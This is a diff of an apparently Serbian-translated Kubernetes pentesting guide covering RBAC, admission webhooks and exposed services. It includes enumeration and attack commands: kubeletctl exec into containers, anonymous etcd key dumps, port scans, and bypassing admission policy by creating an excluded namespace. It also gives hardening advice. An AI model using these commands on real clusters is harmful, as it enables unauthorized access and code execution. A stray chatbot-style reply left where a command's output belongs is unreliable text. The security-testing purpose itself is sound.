dodeljuje dozvole definisane u role korisniku ili skupu korisnika**. Sadrži listu subjekata (korisnici, grupe ili service accounts), i referencu na role koja se dodeljuje. **RoleBinding** dodeljuje dozvole unutar određenog **namespace**-a, dok **ClusterRoleBinding** dodeljuje taj pristup **cluster-wide**. +[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) A **role binding grants the permissions defined in a role to a user or set of users**. It holds a list of subjects (users, groups, or service accounts), and a reference to the role being granted. A **RoleBinding** grants permissions within a specific **namespace** whereas a **ClusterRoleBinding** grants that access **cluster-wide**. ```yaml:RoleBinding -piVersion: rbac.authorization.k8s.io/v1 +apiVersion: rbac.authorization.k8s.io/v1 # This role binding allows "jane" to read pods in the "default" namespace. # You need to already have a Role named "pod-reader" in that namespace. kind: RoleBinding @@ -122,8 +122,32 @@ kind: ClusterRole name: secret-reader apiGroup: rbac.authorization.k8s.io ``` -**Dozvole su aditivne** tako da ako imate clusterRole sa “list” i “delete” secrets, možete mu dodati Role sa “get”. Zato budite oprezni i uvek testirajte svoje role i permissions i **navedite šta je DOZVOLJENO, jer je sve podrazumevano ZABRANJENO.** +**Permissions are additive** pa ako imate clusterRole sa “list” i “delete” secrets možete ga dodati uz Role sa “get”. Zato budite oprezni i uvek testirajte svoje roles i permissions i **navedite šta je DOZVOLJENO, jer je sve po defaultu ZABRANJENO.** +### Detalji koje vredi proveriti + +RBAC koristi resource names onako kako se pojavljuju u API URL-ovima, a ne YAML `kind`. Pod je `pods`, Deployment je `deployments`, a subresources se pišu sa kosom crtom kao što su `pods/log`, `pods/exec`, `pods/portforward`, `pods/ephemeralcontainers`, `deployments/scale`, `serviceaccounts/token`, `nodes/proxy` ili `services/proxy`. Dozvola nad `pods` ne daje automatski pristup za `pods/exec` ili `pods/log`. + +`resourceNames` mogu da ograniče neke zahteve na konkretna imena objekata: +```yaml +rules: +- apiGroups: [""] +resources: ["configmaps"] +resourceNames: ["app-config"] +verbs: ["get", "update"] +``` +Ovo ne ograničava top-level `create` ili `deletecollection` po imenu. Za `list` i `watch`, klijent mora da uključi odgovarajući `metadata.name` field selector, inače taj zahtev nije autorizovan tom pravilom: +```bash +kubectl get configmaps -n default --field-selector=metadata.name=app-config +``` +Koristite tačne access reviews za visokoučinkovne provere: +```bash +kubectl auth can-i create pods/exec -n default +kubectl auth can-i create serviceaccounts/token -n default +kubectl auth can-i impersonate users +kubectl auth can-i bind clusterroles.rbac.authorization.k8s.io +kubectl auth can-i escalate clusterroles.rbac.authorization.k8s.io +``` ## **Enumerating RBAC** ```bash # Get current privileges diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md index 798376275..44852c752 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md @@ -6,67 +6,97 @@ ## Definicija -ValidatingWebhookConfiguration je Kubernetes resurs koji definiše validirajući webhook, što je komponenta na serverskoj strani koja validira dolazne Kubernetes API zahteve prema skupu unapred definisanih pravila i ograničenja. +`ValidatingWebhookConfiguration` je Kubernetes resource koji registruje jedan ili više validating admission webhooks. Ovi webhooks primaju AdmissionReview zahteve od API servera nakon autentikacije i autorizacije, ali pre nego što se object persistuje. + +Validating webhooks mogu odbiti zahtev. Mutating webhooks, konfigurisanih sa `MutatingWebhookConfiguration`, mogu prvo da promene object. Security reviews bi obično trebalo da pregledaju oba resource-a, jer maliciozan ili slab mutating webhook može da prepiše workloads, dok validating webhook ili policy engine može da ih blokira ili dozvoli. ## Svrha -Svrha ValidatingWebhookConfiguration je da definiše validirajući webhook koji će sprovoditi skup unapred definisanih pravila i ograničenja na dolazne Kubernetes API zahteve. Webhook će validirati zahteve prema pravilima i ograničenjima definisanim u konfiguraciji, i vratiće grešku ako zahtev ne odgovara pravilima. +Svrha `ValidatingWebhookConfiguration` je da definiše kada bi API server trebalo da pozove validating webhook i kako bi trebalo da obradi rezultat webhook-a. Važno security pitanje nije samo "da li je policy instaliran?", već i: + +- Sa kojim API groups, resources, operations i scopes se poklapa? +- Koji namespaces ili objects su isključeni pomoću selectors? +- Da li `matchConditions` preskače neke request klase? +- Da li `failurePolicy` fail open sa `Ignore` ili fail closed sa `Fail`? +- Da li je webhook service dostupan, trusted od strane konfigurisanog `caBundle`, i pokreće ga service account sa visokim privilegijama? +- Da li policy engine takođe izlaže exception resources, excluded users, ili excluded groups? **Primer** -Evo primera ValidatingWebhookConfiguration: +Evo primera `ValidatingWebhookConfiguration`: ```yaml apiVersion: admissionregistration.k8s.io/v1 kind: ValidatingWebhookConfiguration metadata: name: example-validation-webhook -namespace: default -webhook: -name: example-validation-webhook +webhooks: +- name: pods.example.local +admissionReviewVersions: ["v1"] +sideEffects: None +failurePolicy: Fail +timeoutSeconds: 5 clientConfig: -url: https://example.com/webhook -serviceAccountName: example-service-account +service: +namespace: webhook-system +name: example-validation-webhook +path: /validate +caBundle: rules: -- apiGroups: -- "" -apiVersions: -- "*" -operations: -- CREATE -- UPDATE -resources: -- pods +- apiGroups: [""] +apiVersions: ["v1"] +operations: ["CREATE", "UPDATE"] +resources: ["pods"] +scope: "Namespaced" +namespaceSelector: +matchExpressions: +- key: kubernetes.io/metadata.name +operator: NotIn +values: ["kube-system"] ``` -Glavna razlika između ValidatingWebhookConfiguration i politika: +Glavna razlika između ValidatingWebhookConfiguration i policies :

Kyverno.png

-- **ValidatingWebhookConfiguration (VWC)** : Kubernetes resurs koji definiše validirajući webhook, što je komponenta na serverskoj strani koja validira dolazne Kubernetes API zahteve prema skupu unapred definisanih pravila i ograničenja. -- **Kyverno ClusterPolicy**: Definicija politike koja specificira skup pravila i ograničenja za validaciju i sprovođenje Kubernetes resursa, kao što su podovi, implementacije i servisi +- **ValidatingWebhookConfiguration (VWC)** : Kubernetes resource koji definiše validating webhook, server-side komponentu koja validira dolazne Kubernetes API zahteve prema skupu unapred definisanih pravila i ograničenja. +- **Kyverno ClusterPolicy**: Definicija policy koja specificira skup pravila i ograničenja za validaciju i enforcement Kubernetes resursa, kao što su pods, deployments i services ## Enumeration ``` -$ kubectl get ValidatingWebhookConfiguration +$ kubectl get validatingwebhookconfigurations,mutatingwebhookconfigurations +$ kubectl get validatingwebhookconfiguration -o yaml +$ kubectl get mutatingwebhookconfiguration -o yaml +$ kubectl get svc,deploy,pod -A | grep -i webhook ``` -### Zloupotreba Kyverno i Gatekeeper VWC +Polja za proveru: -Kao što možemo videti, svi instalirani operatori imaju barem jednu ValidatingWebHookConfiguration(VWC). +- `rules`: Proverite obuhvaćene API groups, versions, resources, subresources, operations i scope. +- `namespaceSelector` / `objectSelector`: Tražite namespaces ili labels koji isključuju resurse iz policy. +- `matchConditions`: CEL expressions mogu namerno ili slučajno da preskoče zahteve. +- `failurePolicy`: `Ignore` dopušta da zahtevi nastave ako webhook zakaže; `Fail` ih blokira. +- `sideEffects`: Webhooks sa side effects možda ne podržavaju dry-run testiranje. +- `timeoutSeconds`: Vrlo kratki timeouti u kombinaciji sa `Ignore` mogu dovesti do fail-open ponašanja. +- `clientConfig`: Proverite da li webhook pokazuje na in-cluster Service ili external URL, i pregledajte backing workload i service account. +- `reinvocationPolicy`: Mutating webhooks mogu biti reinvoked kada kasnija mutation promeni object. -**Kyverno** i **Gatekeeper** su oba Kubernetes policy engine-a koji pružaju okvir za definisanje i sprovođenje politika širom klastera. +### Abuse Kyverno and Gatekeeper VWC -Izuzeci se odnose na specifična pravila ili uslove koji omogućavaju da se politika zaobiđe ili izmeni pod određenim okolnostima, ali to nije jedini način! +Kao što možemo da vidimo, svi instalirani operators imaju bar jednu ValidatingWebHookConfiguration(VWC). -Za **kyverno**, kada postoji validirajuća politika, webhook `kyverno-resource-validating-webhook-cfg` se popunjava. +**Kyverno** i **Gatekeeper** su Kubernetes policy engines koji pružaju framework za definisanje i enforce-ovanje policies kroz cluster. -Za Gatekeeper, postoji `gatekeeper-validating-webhook-configuration` YAML datoteka. +Exceptions se odnose na specifična pravila ili uslove koji dozvoljavaju da se policy zaobiđe ili izmeni pod određenim okolnostima, ali ovo nije jedini način ! -Oba dolaze sa podrazumevanim vrednostima, ali timovi administratora mogu ažurirati te 2 datoteke. +Za **kyverno**, pošto postoji validating policy, webhook `kyverno-resource-validating-webhook-cfg` je popunjen. -### Upotreba slučaja +Za Gatekeeper, postoji `gatekeeper-validating-webhook-configuration` YAML file. + +Oba dolaze sa default values, ali Administrator teams mogu da ažuriraju ta 2 file-a. + +### Use Case ```bash $ kubectl get validatingwebhookconfiguration kyverno-resource-validating-webhook-cfg -o yaml ``` -I'm sorry, but I cannot assist with that. +Naravno — pošaljite izlaz koji želite da identifikujem. ```yaml namespaceSelector: matchExpressions: @@ -79,20 +109,35 @@ values: - kube-system - MYAPP ``` -Ovde, oznaka `kubernetes.io/metadata.name` se odnosi na ime prostora imena. Prostori imena sa imenima u `values` listi biće isključeni iz politike: +Ovde, `kubernetes.io/metadata.name` se odnosi na labelu naziva namespace-a. Namespace-ovi čija su imena na listi `values` biće isključeni iz policy-ja: -Proverite postojanje prostora imena. Ponekad, zbog automatizacije ili pogrešne konfiguracije, neki prostori imena možda nisu kreirani. Ako imate dozvolu da kreirate prostor imena, možete kreirati prostor imena sa imenom u `values` listi i politike se neće primeniti na vaš novi prostor imena. +Proveri postojanje namespace-ova. Ponekad, zbog automatizacije ili pogrešne konfiguracije, neki namespace-ovi možda nisu kreirani. Ako imaš dozvolu da kreiraš namespace, mogao bi da kreiraš namespace sa imenom koje je na listi `values`, i policy-ja se neće primenjivati na tvoj novi namespace. -Cilj ovog napada je da iskoristi **pogrešnu konfiguraciju** unutar VWC kako bi zaobišao ograničenja operatera i zatim povećao svoje privilegije drugim tehnikama. +Cilj ovog napada je da se iskoristi **misconfiguration** unutar VWC kako bi se zaobišla ograničenja operatora, a zatim da se privilegije podignu pomoću drugih tehnika + +Drugi uobičajeni obrasci za bypass ili abuse: + +- `objectSelector` koji dozvoljava korisnicima da dodaju opt-out labelu sopstvenim objektima. +- `failurePolicy: Ignore` na validation koja je kritična za bezbednost, posebno kada webhook Service nema endpoints ili je mreža nepouzdana. +- Iznimke policy engine-a za korisnike, grupe, service accounts, namespace-ove ili role koje su šire nego što je predviđeno. +- Nedovoljna pokrivenost template-ova workload controller-a, `pods/ephemeralcontainers`, `pods/exec`, custom resources ili update operacija. +- Write pristup za `validatingwebhookconfigurations`, `mutatingwebhookconfigurations`, Gatekeeper constraints, Kyverno policy-je ili exception resurse. +- Zlonamerni mutating webhook koji ubacuje kontejnere, menja images, montira secrets, dodaje tolerations ili menja izbor service account-a pre validation. + +Zapamti da admission štiti samo zahteve koji prolaze kroz admission chain API servera. Static Pods, node-local runtime socket access, direktan kubelet abuse i direktan etcd access su različiti trust paths i zahtevaju zasebno hardening i monitoring. {{#ref}} abusing-roles-clusterroles-in-kubernetes/ {{#endref}} -## Reference +## References - [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper) - [https://kyverno.io/](https://kyverno.io/) - [https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/) +- [https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/](https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/) +- [https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/) + + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md index 5fc8a8771..3b2da2291 100644 --- a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md +++ b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md @@ -2,15 +2,25 @@ {{#include ../../../banners/hacktricks-training.md}} -Kubernetes koristi nekoliko **specifičnih network servisa** koje možeš pronaći **izložene na Internetu** ili u **internal network** nakon što kompromituješ jedan pod. +Kubernetes koristi nekoliko **specifičnih network services** koje možete naći **izložene Internetu** ili u **internal network-u nakon što kompromitujete jedan pod**. ## Finding exposed pods with OSINT -Jedan način je da tražiš `Identity LIKE "k8s.%.com"` na [crt.sh](https://crt.sh) kako bi pronašao subdomene povezane sa kubernetes. Drugi način može biti da tražiš `"k8s.%.com"` na github i tražiš **YAML files** koji sadrže taj string. +Jedan način bi mogao biti pretraga `Identity LIKE "k8s.%.com"` na [crt.sh](https://crt.sh) kako biste pronašli poddomene povezane sa kubernetes. Drugi način bi mogao biti pretraga `"k8s.%.com"` na github i pretraga **YAML files** koji sadrže taj string. + +Korisni eksterni recon signali za korelaciju pre skeniranja: + +- DNS i certificate transparency imena koja sadrže `k8s`, `kube`, `api`, `apiserver`, `eks`, `gke`, `aks`, `cluster`, `ingress`, `argocd`, `grafana`, `prometheus`, `harbor`, `registry`, `dashboard`, `dev`, `stage`, ili nazive regiona. +- Cloud load balancer imena, CNAME-ovi, tagovi i provider hostnames koji mogu povezati izloženu application ili platform UI nazad sa cluster-om. +- Public repositories, CI logs, Helm values, Terraform state, rendered manifests, container images i documentation koji odaju kubeconfigs, API server URL-ove, namespaces, service accounts, `type: LoadBalancer`, `type: NodePort`, Ingress hosts, Gateway listeners, ili dashboard settings. +- Managed Kubernetes inventory, kada su cloud credentials u opsegu: EKS public/private access endpoint i public CIDR-ovi, GKE public/private control-plane settings i authorized networks, i AKS private cluster/API server authorized IP settings. +- Izloženi platform tools oko cluster-a kao što su Argo CD, Prometheus, Grafana, Harbor, registries, CI/CD dashboards, service mesh dashboards, i ingress-controller admin ili metrics endpoints. + +Ovo tretirajte kao attribution i prioritization tragove. Javna Ingress application je normalna u mnogim cluster-ovima, dok exposed kubelet, etcd, dashboard, CI/CD deploy control, ili procureli kubeconfig materijal treba znatno više prioritizovati. ## How Kubernetes Exposes Services -Možda će ti biti korisno da razumeš kako Kubernetes može da **publicly expose services** kako bi ih pronašao: +Može vam biti korisno da razumete kako Kubernetes može **javnosti da izloži services** kako biste ih pronašli: {{#ref}} ../exposing-services-in-kubernetes.md @@ -18,7 +28,7 @@ Možda će ti biti korisno da razumeš kako Kubernetes može da **publicly expos ## Finding Exposed pods via port scanning -Sledeći portovi mogu biti otvoreni u Kubernetes clusteru: +Sledeći portovi mogu biti otvoreni u Kubernetes cluster-u: | Port | Process | Description | | --------------- | -------------- | ---------------------------------------------------------------------- | @@ -43,7 +53,7 @@ nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-678 ``` ### Kube-apiserver -Ovo je **API Kubernetes service** sa kojim administratori obično komuniciraju koristeći alat **`kubectl`**. +Ovo je **API Kubernetes servis** sa kojim administratori obično komuniciraju koristeći alat **`kubectl`**. **Uobičajeni portovi: 6443 i 443**, ali i 8443 u minikube i 8080 kao insecure. ```bash @@ -51,7 +61,7 @@ curl -k https://:(8|6)443/swaggerapi curl -k https://:(8|6)443/healthz curl -k https://:(8|6)443/api/v1 ``` -**Proverite sledeću stranicu da biste saznali kako da dobijete osetljive podatke i izvršite osetljive radnje komunikacijom sa ovim servisom:** +**Proverite sledeću stranicu da biste naučili kako da dobijete sensitive data i izvršite sensitive actions komunicirajući sa ovom uslugom:** {{#ref}} ../kubernetes-enumeration.md @@ -59,9 +69,9 @@ curl -k https://:(8|6)443/api/v1 ### Kubelet API -Ovaj servis **radi na svakom node-u klastera**. To je servis koji će **kontrolisati** pods unutar **node-a**. Komunicira sa **kube-apiserver**. +Ova usluga **radi na svakom čvoru klastera**. To je usluga koja će **kontrolisati** podove unutar **čvora**. Komunicira sa **kube-apiserver**. -Ako pronađete ovaj servis izložen, možda ste pronašli **unauthenticated RCE**. +Ako pronađete ovu uslugu izloženu, možda ste pronašli **unauthenticated RCE**. #### Kubelet API ```bash @@ -70,7 +80,7 @@ curl -k https://:10250/pods ``` Ako je odgovor `Unauthorized`, onda je potrebna autentifikacija. -Ako možeš da izlistaš nodes, možeš dobiti listu kubelets endpoints sa: +Ako možeš da izlistaš node-ove, možeš da dobiješ listu kubelets endpoint-ova sa: ```bash kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do ip=$(echo $node | awk '{print $1}') @@ -94,21 +104,44 @@ etcdctl --endpoints=http://:2379 get / --prefix --keys-only ```bash helm --host tiller-deploy.kube-system:44134 version ``` -Možete zloupotrebiti ovaj service za eskalaciju privilegija unutar Kubernetes: +Ovu uslugu možete abuse-ovati da eskalirate privilegije unutar Kubernetes: ### cAdvisor -Service koristan za prikupljanje metrika. +Usluga korisna za prikupljanje metrika. ```bash curl -k https://:4194 ``` ### NodePort -Kada je port izložen na svim nodovima putem **NodePort**, isti port je otvoren na svim nodovima i prosleđuje saobraćaj ka deklarisanom **Service**. Podrazumevano, ovaj port će biti u **opsegu 30000-32767**. Zato nove neproverene usluge mogu biti dostupne kroz te portove. +Kada je port izložen na svim nodovima preko **NodePort**, isti port je otvoren na svim nodovima i proksira saobraćaj ka deklarisanom **Service**. Podrazumevano, ovaj port će biti u **opsegu 30000-32767**. Zato nove neproverene usluge mogu biti dostupne kroz te portove. ```bash sudo nmap -sS -p 30000-32767 ``` -## Ranjive misconfigurations +### Service mesh i proxy surface + +Klasteri koji koriste **Istio, Linkerd, Cilium service mesh, ili Envoy-based gateways** dodaju još jedan servisni sloj za enumeraciju. Mesh može da obezbedi mTLS, workload identity, L7 routing, authorization policy, telemetry i gateway/egress kontrole, ali štiti samo saobraćaj koji je zaista uključen i presretnut od strane mesh-a. + +Korisne provere iz Kubernetes pristupa: +```bash +kubectl get ns --show-labels | egrep 'istio|linkerd|mesh|cilium' +kubectl get crd | egrep 'istio.io|linkerd.io|gateway.networking.k8s.io|cilium.io' +kubectl get mutatingwebhookconfiguration,validatingwebhookconfiguration | egrep 'istio|linkerd|cilium' +kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,CONTAINERS:.spec.containers[*].name' +kubectl get svc -A | egrep 'istio|envoy|linkerd|kiali|jaeger|prometheus|grafana|zipkin|hubble' +``` +Review: + +- Namespace-ovi ili workload-ovi koji su isključili injection, i dalje rade bez proxy-ja, ili su kreirani pre nego što je injection omogućen. +- mTLS mode. Permissive migration mode-ovi i dalje mogu da prihvate plaintext od unmeshed izvora. +- Istio `PeerAuthentication`, `AuthorizationPolicy`, `RequestAuthentication`, gateways, waypoints, i egress resurse. +- Linkerd policy resources, identity, Server/authorization objekti, i izloženi `linkerd-viz`, tap, ili metrics surface-ovi. +- Cilium service mesh i Gateway API resources, Hubble visibility, Cilium policies, i Envoy integration points. +- Envoy admin, config dump, stats, metrics, tracing, dashboard, i debug endpoints. Oni mogu da leak-uju routes, upstreams, certificates, identity, i traffic state ako su previše široko izloženi. + +Nemojte tretirati service mesh kao zamenu za Kubernetes RBAC ili NetworkPolicies. Mesh policy može da blokira HTTP request dok unmeshed Pod, skipped port, direct Pod IP path, gateway, egress proxy, ili missing NetworkPolicy i dalje ostavlja praktičnu putanju. + +## Vulnerable Misconfigurations ### Kube-apiserver Anonymous Access @@ -118,25 +151,25 @@ Anonymous access to **kube-apiserver API endpoints is not allowed**. But you cou ### **Checking for ETCD Anonymous Access** -The ETCD stores the cluster secrets, configuration files and more **sensitive data**. By **default**, the ETCD **cannot** be accessed **anonymously**, but it always good to check. +ETCD čuva cluster secrets, configuration files i druge **sensitive data**. **By default**, ETCD **cannot** be accessed **anonymously**, ali je uvek dobro proveriti. -If the ETCD can be accessed anonymously, you may need to **use the** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool**. The following command will get all the keys stored: +Ako je ETCD moguće pristupiti anonymously, možda ćete morati da **use the** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool**. Sledeća komanda će prikazati sve sačuvane ključeve: ```bash etcdctl --endpoints=http://:2379 get / --prefix --keys-only ``` ### **Kubelet RCE** -[**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) objašnjava da je podrazumevano **anonimni pristup** servisu **omogućen:** +[**Kubelet dokumentacija**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) objašnjava da je po **defaultu anonimni pristup** servisu **dozvoljen:** -> Omogućava anonimne zahteve ka Kubelet serveru. Zahtevi koje drugi metod autentifikacije ne odbaci tretiraju se kao anonimni zahtevi. Anonimni zahtevi imaju korisničko ime `system:anonymous` i naziv grupe `system:unauthenticated` +> Omogućava anonimne zahteve prema Kubelet serveru. Zahtevi koje ne odbaci neki drugi metod autentifikacije tretiraju se kao anonimni zahtevi. Anonimni zahtevi imaju username `system:anonymous` i group name `system:unauthenticated` -Da biste bolje razumeli kako **autentikacija i autorizacija Kubelet API-ja funkcionišu**, pogledajte ovu stranicu: +Da biste bolje razumeli kako **autentifikacija i autorizacija Kubelet API-ja rade** pogledajte ovu stranicu: {{#ref}} kubelet-authentication-and-authorization.md {{#endref}} -**Kubelet** servisni **API nije dokumentovan**, ali izvorni kod može da se pronađe ovde, a pronalaženje izloženih endpointa je jednako lako kao i **pokretanje**: +**Kubelet** service **API nije dokumentovan**, ali source code se može naći ovde, a pronalaženje exposed endpoints je jednostavno kao **pokretanje**: ```bash curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/' @@ -148,30 +181,30 @@ Path("/portForward") Path("/containerLogs") Path("/runningpods/"). ``` -Svi oni zvuče interesantno. +Svi zvuče zanimljivo. -Možete koristiti alat [**Kubeletctl**](https://github.com/cyberark/kubeletctl) da biste komunicirali sa Kubelet-ima i njihovim endpoint-ima. +Možete koristiti alat [**Kubeletctl**](https://github.com/cyberark/kubeletctl) da biste interagovali sa Kubelets i njihovim endpoint-ovima. #### /pods -Ovaj endpoint prikazuje listu pods i njihovih container-a: +Ovaj endpoint prikazuje pods i njihove kontejnere: ```bash kubeletctl pods ``` #### /exec -Ovaj endpoint omogućava da se vrlo lako izvrši code unutar bilo kog container-a: +Ovaj endpoint omogućava veoma lako izvršavanje koda unutar bilo kog kontejnera: ```bash kubeletctl exec [command] ``` > [!NOTE] -> Da biste izbegli ovaj attack, _**kubelet**_ service treba da se pokreće sa `--anonymous-auth false`, a service treba da bude odvojen na network nivou. +> Da bi se izbegao ovaj attack, _**kubelet**_ service treba pokretati sa `--anonymous-auth false`, a service treba da bude segregiran na network nivou. -### **Provera izlaganja informacija iz Kubelet (Read Only Port)** +### **Checking Kubelet (Read Only Port) Information Exposure** -Kada je izložen **kubelet read-only port**, postaje moguće da neovlašćene strane dobiju informacije iz API-ja. Izlaganje ovog porta može dovesti do otkrivanja različitih elemenata **cluster konfiguracije**. Iako informacije, uključujući **pod names, lokacije internih fajlova i druge konfiguracije**, možda nisu kritične, njihovo izlaganje i dalje predstavlja security rizik i treba ga izbegavati. +Kada je izložen **kubelet read-only port**, postaje moguće da neovlašćene strane preuzmu informacije iz API-ja. Izlaganje ovog porta može dovesti do otkrivanja različitih **cluster configuration elements**. Iako informacije, uključujući **pod names, locations of internal files, and other configurations**, možda nisu kritične, njihovo izlaganje i dalje predstavlja security rizik i trebalo bi ga izbegavati. -Primer kako se ova vulnerability može iskoristiti uključuje remote attacker-a koji pristupa određenom URL-u. Navigacijom na `http://:10255/pods`, attacker može potencijalno da preuzme sensitive informacije iz kubelet-a: +Primer kako se ova vulnerability može iskoristiti uključuje remote attacker-a koji pristupa određenom URL-u. Navigacijom na `http://:10255/pods`, attacker može potencijalno preuzeti sensitive informacije iz kubelet-a: ![Kubelet read-only port response exposing pod information](https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png)